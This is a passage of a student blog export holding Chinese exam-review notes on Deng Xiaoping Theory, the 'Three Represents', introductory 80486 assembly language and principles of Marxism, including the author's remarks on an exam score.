<h3 id="邓小平理论形成的历史社会条件"><a href="#邓小平理论形成的历史社会条件" class="headerlink" title="邓小平理论形成的历史社会条件"></a>邓小平理论形成的历史社会条件</h3><ol>
<li>时代背景:和平与发展成为时代主题</li>
<li>历史根据:社会主义建设的经验教训</li>
<li>现实依据:改革开放和现代化建设</li>
</ol>
<h3 id="三步走"><a href="#三步走" class="headerlink" title="三步走"></a>三步走</h3><p>同上</p>
<h3 id="和平统一一国两制的基本内容"><a href="#和平统一一国两制的基本内容" class="headerlink" title="和平统一一国两制的基本内容"></a>和平统一一国两制的基本内容</h3><ol>
<li>坚持一个中国</li>
<li>两制并存</li>
<li>港澳台高度自治</li>
<li>尽最大努力争取和平统一,但不承诺放弃使用武力</li>
<li>解决台湾问题,实现祖国完全统一,寄希望于台湾人民</li>
</ol>
<h3 id="简述“改革是中国第二次革命”"><a href="#简述“改革是中国第二次革命”" class="headerlink" title="简述“改革是中国第二次革命”"></a>简述“改革是中国第二次革命”</h3><ol>
<li>改革是社会主义社会发展的直接动力。社会主义社会的基本矛盾仍然是生产力和生产关系、上层建筑和经济基础之间的矛盾,这些矛盾推动了社会主义社会的发展。在社会主义社会,改革从根本上改变束缚生产力发展的经济体制,促进生产力的发展,从而解决了发展动力的问题</li>
<li>改革是一次新的革命,不是也不允许否定和抛弃我们建立起来的社会主义基本制度,他是社会主义制度的自我完善和发展</li>
<li>改革不是一个阶级推翻另一个阶级的革命,也不是原因经济体制的细枝末节修补,而是对体制的根本性变革。他的实质和目标,是要从根本上改变束缚我国生产力发展的经济体制,建立一个充满生机和活力的社会主义新经济体制,同时相应地改革政治体制和其他方面的体制,以实现社会主义现代化</li>
</ol>
<h3 id="邓小平理论的历史地位"><a href="#邓小平理论的历史地位" class="headerlink" title="邓小平理论的历史地位"></a>邓小平理论的历史地位</h3><ol>
<li>马克思列宁主义、毛泽东思想的<strong>继承与发展</strong></li>
<li>中特社理论体系的<strong>开篇之作</strong></li>
<li><strong>改革开放和社会主义现代化建设的科学指南</strong></li>
</ol>
<h3 id="三个代表的社会历史条件"><a href="#三个代表的社会历史条件" class="headerlink" title="三个代表的社会历史条件"></a>三个代表的社会历史条件</h3><ol>
<li>时代背景:冷战后对国际局势的科学判断的基础上形成的。世界多极化和经济全球化的趋势在曲折中发展,和平与发展仍是时代的主题</li>
<li>是科学判断党的历史方位和总结历史经验的基础上提出来的</li>
<li>是在建设中特社伟大实践的基础上形成的。就是对过程中各种出现的实际问题中形成和发展的</li>
</ol>
<h3 id="三个代表"><a href="#三个代表" class="headerlink" title="三个代表"></a>三个代表</h3><ol>
<li>始终代表中国先进生产力的发展要求</li>
<li>始终代表中国先进文化的前进方向</li>
<li>始终代表中国最广大人民的根本利益</li>
</ol>
<h3 id="科学发展观的的社会历史条件"><a href="#科学发展观的的社会历史条件" class="headerlink" title="科学发展观的的社会历史条件"></a>科学发展观的的社会历史条件</h3><ol>
<li>是把深刻把握我国基本国情和新的阶段性特征的基础上形成和发展的</li>
<li>是总结改开特别是十六大以来实践经验的基础上形成和发展的</li>
<li>是深刻分析国际形势、顺应世界发展趋势、借鉴国外发展经验的基础上形成和发展的</li>
</ol>
<h3 id="科学发展观的科学内涵和精神实质"><a href="#科学发展观的科学内涵和精神实质" class="headerlink" title="科学发展观的科学内涵和精神实质"></a>科学发展观的科学内涵和精神实质</h3><p>内涵:</p>
<ol>
<li><strong>推动经济发展</strong>是第一要义</li>
<li><strong>以人为本</strong>是核心立场</li>
<li><strong>全面协调可持续</strong>是基本要求</li>
<li><strong>统筹兼顾</strong>是根本方法</li>
</ol>
<p>实质:</p>
<p>解放思想、实事求是、与时俱进、求真务实</p>
]]></content>
<categories>
<category>我爱学习</category>
</categories>
<tags>
<tag>求生指南</tag>
</tags>
</entry>
<entry>
<title>《汇编语言程序设计》求生指南</title>
<url>/2022/11/14/%E3%80%8A%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1%E3%80%8B%E6%B1%82%E7%94%9F%E6%8C%87%E5%8D%97/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-300x181.png"></p>
<h2 id="第一章"><a href="#第一章" class="headerlink" title="第一章"></a>第一章</h2><ol>
<li>BCD码转换<br>1010—1111是非法BCD码</li>
<li>真值数和补码数之间的转换<br>正数的补码等于本身,负数的补码等于反码+1</li>
<li>n位字长的有符号数、无符号数的数值范围<br>设机器数字长=n, 则n位补码数<br>其真值范围为 -2n-1 ~ +2n-1-1<br>无符号数其数值范围为 0 ~ 2n-1</li>
<li>常用ASCII码范围:<br>0:48<br>A:65<br>a:97<br>(space):32<br>(回车):13</li>
<li>C标表示进位,O标表示溢出</li>
<li>冯诺依曼架构:<strong>运算器、控制器、存储器、输入、输出</strong><br>CPU:运算器和控制器</li>
</ol>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/image.png"></p>
<h2 id="第二章"><a href="#第二章" class="headerlink" title="第二章"></a>第二章</h2><ol>
<li>基本结构寄存器的名称、位长和作用<br>通用寄存器: AX, BX, CX, DX, SI(源变址), DI(目的变址), BP(基址指针)<br>段寄存器: CS, SS, DS, ES, FS, GS<br>指针寄存器: IP(指令指针), SP(堆栈指针)<br>标志寄存器: FLAGS<br>15位标志分为两类: 状态标志和控制标志<br>6种状态标志:CF(进位) OF(溢出) ZF(全零) PF(最后一字节1为偶数为1) AF(辅助进位标志) SF(记录最高位的位值)</li>
<li>80486的工作模式:实地址模式和保护虚拟地址模式<br>80486的三个存贮地址空间:逻辑空间、线性空间和物理空间<br>逻辑地址:即逻辑上的地址,实模式下由“段基地址+段内偏移”组成;保护模式下由“段选择符+段内偏移”组成。<br>线性地址:逻辑地址经分段机制后就成线性地址,它是平坦的;如果不启用分页,那么此线性地址即物理地址。<br>物理地址:线性地址经分页转换后就成了物理地址。<br><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/image-1.png"></li>
<li>实地址模式下,物理地址的形成<br><strong>物理地址=段基址*16+偏移地址</strong><br><strong>内存容量=末地址-首地址+1</strong><br><strong>末地址=首地址+(字数-1)*2 末地址</strong></li>
</ol>
<h2 id="第三章"><a href="#第三章" class="headerlink" title="第三章"></a>第三章</h2><ol>
<li><p>源程序中的语句类型<br>一个完整的源程序应包含2类语句:<br>指令性语句(符号指令)、指示性语句(伪指令)</p>
</li>
<li><p>80486的寻址方式486有3类7种寻址方式<br>立即寻址方式:获得立即数<br>寄存器寻址方式:获得寄存器操作数<br>存储器操作数寻址方式:获得存储器操作数(内存操作数)</p>
</li>
<li><p>内存寻址方式 16位寻址规定可使用的寄存器<br>直接寻址<br>寄存器间接寻址 [BX],[BP],[SI],[DI]。段寄存器:[间址寄存器],某单元的物理地址=段寄存器内容×16+间址寄存器<br>基址寻址 [BX+位移量],[BP+位移量]。段寄存器:[基址寄存器+位移量]。物理地址=段寄存器内容×16+基址寄存器+位移量<br>变址寻址 [SI+位移量],[DI+位移量]。<br>基址+变址寻址 [BX+SI],[BX+DI],[BP+SI],[BP+DI]</p>
</li>
<li><p>常用伪指令<br>数据字义伪指令 DB DW DD(一字节二字节四字节)<br>等值伪指令 EQU =</p>
</li>
<li><p>常用运算符<br>$运算符:当前汇编计数器的值。通常$-地址,可以求长度<br>SEG运算符:获取段的基地址,SEG DATA<br>OFFSET运算符:相对于段首的基地址<br>PTR运算符:修改属性<br><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/image-2.png"></p>
</li>
<li><p>目标程序的生成<br><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/1668425716_POWERPNT_1065x313.png"></p>
</li>
<li><p>16进制数加法及标志位的影响<br><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/1668425885_POWERPNT_1101x202.png">80486基本指令集<br><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/1668426216_POWERPNT_1132x505.png"> </p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/1668426445_POWERPNT_1002x554.png"> </p>
<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/1668426487_POWERPNT_1014x818.png"></p>
</li>
</ol>
<h2 id="第四章"><a href="#第四章" class="headerlink" title="第四章"></a>第四章</h2><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/image-3-1024x461.png"></p>
]]></content>
<categories>
<category>我爱学习</category>
</categories>
<tags>
<tag>求生指南</tag>
</tags>
</entry>
<entry>
<title>《马克思主义基本原理》求生指南</title>
<url>/2022/01/04/%E3%80%8A%E9%A9%AC%E5%85%8B%E6%80%9D%E4%B8%BB%E4%B9%89%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86%E3%80%8B%E6%B1%82%E7%94%9F%E6%8C%87%E5%8D%97/</url>
<content><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-300x181.png"></p>
<h2 id="感受"><a href="#感受" class="headerlink" title="感受"></a>感受</h2><p>有点意难平,才考了77,2.7……感觉自己复习的非常充分,甚至觉得自己能冲击85的,有认识做小抄的人分数比我高一点</p>
<p>但是只能说不同班老师改卷标准不一样,我们老师还算不错的,有的班卷王才60+,有的班一堆90+的,很离谱。</p>
<p>复习到的点都是我整理好的,不知道为啥分数这么低。jpg</p>
<h2 id="导论"><a href="#导论" class="headerlink" title="导论"></a>导论</h2><p>马克思主义的创立与发展:1848年2月共产党宣言的发表,标志着马克思主义的公开问世</p>
<p>马克思主义的鲜明特征</p>
<ol>
<li>科学性</li>
<li>人民性</li>
<li>实践性(最根本特征)</li>
<li>发展性</li>
</ol>
<h2 id="第一章-世界的物质性和发展性"><a href="#第一章-世界的物质性和发展性" class="headerlink" title="第一章 世界的物质性和发展性"></a>第一章 世界的物质性和发展性</h2><p>物质观:物质就是不依赖于人类意识而存在,并能为人类的意识所反映的客观实在</p>
<p>意义</p>
<ol>
<li>坚持了唯物主义一元论(物质),和唯心主义一元论(精神)和二元论(物质和精神)划清了界限</li>
<li>坚持了能动的反映论(思维反映存在)和可知论,批判了不可知论</li>
<li>体现了唯物论和辩证法的统一,克服了形而上学唯物主义的缺陷</li>
<li>体现了唯物主义自然观、历史观的统一,奠定了彻底的唯物主义的基础</li>
</ol>
<p>事物的普遍联系:联系是指事物内部和事物之间的相互影响、相互制约、相互作用的关系</p>
<p>联系的特点:客观性、普遍性、多样性、条件性</p>
<p>发展的实质:新事物的产生和旧事物的灭亡</p>
<p>为什么新事物是不可战胜的</p>
<ol>
<li>新事物有新的要素和功能,适应着新的环境与条件,旧事物不再适应</li>
<li>新事物是从旧事物的母体中孕育成熟的,既否定了旧事物落后的东西,也保留了一些合理的部分,并且添加了一些旧事物无法容纳的东西</li>
</ol>
<p>为什么说对立统一是事物发展的根本规律</p>
<ol>
<li>从根本上回答了事物为什么会发展</li>
<li>是量变质变、否定之否定、唯物辩证法等规律的中心线索</li>
<li>为人类提供了认识世界改造世界的根本方法,矛盾分析法</li>
</ol>
<p>量变与质变的辩证关系</p>
<ol>
<li>量变是质变的必要准备</li>
<li>质变是量变的必然结果,并开创了新的量变</li>
<li>质变过程中,有旧物质的收缩和新物质的扩张;量变过程中,有部分的质变</li>
</ol>
<p>否定之否定</p>
<ol>
<li>否定是事物自我否定、自我发展、是事物内部矛盾的结果</li>
<li>否定是事物发展的环节</li>
<li>否定联系了新旧事物</li>
<li>辩证否定本质是扬弃,批判继承</li>
</ol>
<p>意义</p>
<ol>
<li>否定不是一次性完成的</li>
<li>揭示了事物发展的前进性与曲折性,说明事物的发展是螺旋式上升的</li>
</ol>
<p>方法论</p>
<ol>
<li>我们需要树立辩证的否定观,不能形而上学的肯定一切或者否定一切</li>
<li>我们需要正确看待事物的发展过程,前途是光明的,道路是曲折的</li>
</ol>
<p>为什么说唯物辩证法是科学的认识方法</p>
<ol>
<li>唯物辩证法能解释世界普遍联系和永恒发展的规律</li>
<li>人的认识活动,既要符合客观辩证法,又有其固有的辩证规律</li>
<li>矛盾分析法是对立统一规律在方法论上的体现,是我们认识事物的根本方法</li>
</ol>
<p>六个思维能力</p>
<ol>
<li>辩证</li>
<li>历史</li>
<li>系统</li>
<li>战略</li>
<li>底线</li>
<li>创新</li>
</ol>
<h2 id="第二章-实践与认识及其发展规律"><a href="#第二章-实践与认识及其发展规律" class="headerlink" title="第二章 实践与认识及其发展规律"></a>第二章 实践与认识及其发展规律</h2><p>实践的本质和特征:客观实在性、自觉能动性、社会历史性</p>
<p>实践的决定作用</p>
<ol>
<li>实践是认识的来源</li>
<li>认识的目的</li>
<li>认识的发展动力</li>
<li>还是检验真理的唯一标准</li>
</ol>
<p>认识运动的总规律:认识的本质是主体在实践基础上对客体的能动反映</p>
<ol>
<li>认识世界的目的是改造世界</li>
<li>认识的真理性只有在实践中才能检验发展</li>
</ol>
<p>真理客观性:真理都包含不依赖于人的客观内容,是对客观事物及其规律的正确反映</p>
<p>真理绝对性:</p>
<ol>
<li>主观与客观相符合,不依赖于人,与谬误有原则性的界限</li>
<li>人类的认识每前进一步,都向无限发展的物质世界接近</li>
</ol>
<p>真理相对性:人对客观事物和规律在一定条件下都是有限度的、不完善的</p>
<p>真理的绝对性和相对性的方法论:</p>
<ol>
<li>马克思主义正确反映了人类社会的发展规律,是绝对性</li>
<li>马克思主义没有穷尽一切事物及其规律的认知,是相对性</li>
<li>说明我们必须坚持马克思主义为指导思想,并且在实践中丰富和完善它</li>
</ol>
<p>一切从实际出发,实事求是</p>
<ol>
<li>是马克思主义认识论的根本要求</li>
<li>是中国共产党思想路线的核心</li>
</ol>
<h2 id="第三章-人类社会及其发展规律"><a href="#第三章-人类社会及其发展规律" class="headerlink" title="第三章 人类社会及其发展规律"></a>第三章 人类社会及其发展规律</h2><p>社会存在和社会意识的辩证关系:社会存在决定社会意识,社会意识反映社会存在,并反作用于社会存在</p>
<p>社会基本矛盾及其运动规律:</p>
<ol>
<li>生产力和生产关系,经济基础和上层建筑</li>
<li>A决定B,B反映A,并反作用于A</li>
</ol>
<p>现实意义:</p>
<ol>
<li>这一原理<strong>否定了</strong>单纯<strong>以道德</strong>作为评判历史功过是非标准的思想体系(好!!!)</li>
<li>生产力与生产关系是马克思主义政党指定路线、方针、政策的重要依据</li>
</ol>
<p>世界历史:指各民族、各国家通过普遍交往,打破孤立隔绝的状态,进入相互依存、相互联系的世界整体化的历史</p>
<p>社会基本矛盾、改革、科学技术各自在历史发展中的作用</p>
<ol>
<li>社会基本矛盾<ol>
<li>社会基本矛盾中生产力是最基本的动力因素,是人类社会发展和进步的最终决定力量</li>
<li>社会基本矛盾决定社会其他矛盾的存在和发展</li>
<li>社会基本矛盾从根本上影响和促进社会形态的变化和发展</li>
</ol>
</li>
<li>改革<ol>
<li>解决社会基本矛盾,促进生产力发展推动社会进步</li>
<li>改变了与生产力不适合的生产关系和与经济基础不适应的上层建筑</li>
</ol>
</li>
<li>科学技术<ol>
<li>对生产方式产生了深刻影响</li>
<li>对生活方式产生了巨大影响</li>
<li>促进了思维方式的变革</li>
<li><strong>科学技术是把双刃剑</strong></li>
</ol>
</li>
</ol>
<p>人民群众在历史发展中的作用,是社会历史的主体,是历史的创造者</p>
<ol>
<li>决定性作用</li>
<li>是社会物质财富的创造者</li>
<li>是社会精神财富的创造者</li>
<li>是社会变革的决定力量</li>
</ol>
<p>群众观点和群众路线</p>
<ul>
<li>群众观点<ol>
<li>坚信人民群众自己解放自己</li>
<li>全心全意为人民服务</li>
<li>一切向人民负责</li>
<li>虚心向群众学习</li>
</ol>
</li>
<li>群众路线<ol>
<li>一切为了群众,一切依靠群众</li>
<li>从群众中来,到群众中去</li>
</ol>
</li>
</ul>
<h2 id="第四章-资本主义的本质及规律"><a href="#第四章-资本主义的本质及规律" class="headerlink" title="第四章 资本主义的本质及规律"></a>第四章 资本主义的本质及规律</h2><p>价值规律及其作用:</p>
<p>积极作用:</p>
<ol>
<li>自发地调节生产资料和劳动力在社会各生产部门之间的分配比例</li>
<li>自发地刺激社会生产力的发展</li>
<li>自发地调节社会收入的分配</li>
</ol>
<p>消极作用:</p>
<ol>
<li>导致社会资源浪费</li>
<li>阻碍社会技术进步</li>
<li>导致收入两极分化</li>
</ol>
<p>以私有制为基础的商品经济的基本矛盾:私人劳动与社会劳动的矛盾</p>
<p>马克思劳动价值论理论:</p>
<ol>
<li>商品的二因素和生产商品二重性及其相互关系的理论</li>
<li>价值量的规定性及其变化规律的理论</li>
<li>价值形式的发展和货币起源的理论</li>
<li>商品基本矛盾和基本规律及其作用的理论</li>
</ol>
<p>意义:</p>
<ol>
<li>马克思劳动价值论扬弃了英国古典政治经济学的观点,为剩余价值论的创立奠定基础</li>
<li>解释了私有制条件下商品经济的基本矛盾</li>
<li>解释了商品经济的一般规律</li>
</ol>
<p>劳动力成为商品,货币转化为资本</p>
<p>生产剩余价值是资本主义生产方式的绝对规律</p>
<p>剩余价值理论的意义:</p>
<ol>
<li>揭露了资本主义生产关系的剥削本质</li>
<li>阐明了资产阶级和无产阶级之间阶级斗争的经济根源</li>
<li>指出了无产阶级革命的必然性</li>
<li>是马克思经济学说的核心内容和基石,是<strong>无产阶级反对资产阶级,揭示资本主义制度剥削本质的锐利武器</strong>(好!!!)</li>
</ol>
<p>资本主义基本矛盾:生产社会化和生产资料私有化的矛盾</p>
<p>经济危机:生产过剩</p>
<p>爆发特点:周期性爆发</p>
<h2 id="第五章-资本主义的发展及其趋势"><a href="#第五章-资本主义的发展及其趋势" class="headerlink" title="第五章 资本主义的发展及其趋势"></a>第五章 资本主义的发展及其趋势</h2><p>垄断的形成:自由竞争-生产集中-资本集中-垄断</p>
<p>原因:</p>
<ol>
<li>当生产高度集中时,极少数企业会联合起来,操纵和控制本部门的生产和销售,以获取高额利润</li>
<li>企业规模巨大,造成了竞争困难,也会产生垄断</li>
<li>少数大企业势均力敌,为了避免竞争产生两败俱伤,寻求了某种垄断性的妥协</li>
</ol>
<p>垄断资本主义的发展</p>
<p>国家垄断资本主义是科技进步和社会化生产进一步提高的产物</p>
<p>经济全球化的表现和影响</p>
<ul>
<li>积极影响<ol>
<li>为发展中国家提供了先进技术和管理经验</li>
<li>为发展中国家更多就业机会</li>
<li>推动发展中国家国际贸易发展</li>
<li>推动发展中国家的跨国公司发展</li>
</ol>
</li>
<li>消极影响<ol>
<li>发达国家和发展中国家全球化过程中地位收益不平等</li>
<li>加剧了发展中国家的资源短缺和环境污染</li>
<li>一定程度上有经济风险</li>
</ol>
</li>
</ul>
<p>二战后资本主义变化的主要表现</p>
<ol>
<li>生产资料的所有制</li>
<li>垄断资本形式的变化</li>
<li>劳资关系和分配关系</li>
<li>社会阶层和阶级结构的变化</li>
<li>经济调节机制和经济危机形态的变化</li>
<li>政治制度的变化</li>
</ol>
<p>原因:</p>
<ol>
<li>科学技术革命和生产力发展</li>
<li>工人阶级争取自身利益的斗争</li>
<li>社会主义制度显现的优越性影响了资本主义</li>
<li>主张改良主义的政党</li>
</ol>
<p>实质</p>
<ol>
<li>人类社会发展一般规律和资本主义经济规律作用的结果</li>
<li>这些变化是资本主义框架内的变化,并不是根本上的</li>
</ol>
<p>08年国际金融危机以来资本主义的矛盾冲突</p>
<ul>
<li>经济发展失调<ol>
<li>虚拟经济与实体经济发展失衡</li>
<li>福利风险增加</li>
<li>债务负担沉重</li>
</ol>
</li>
<li>政治体制失灵<ol>
<li>西式选举往往难以选贤</li>
<li>政党利益可能凌驾于国家利益之上</li>
<li>民主陷阱会阻碍国家治理</li>
<li>传统精英政治走向衰落</li>
</ol>
</li>
<li>社会融合机制失效<ol>
<li>社会极端思潮抬头</li>
<li>社会流动性退化</li>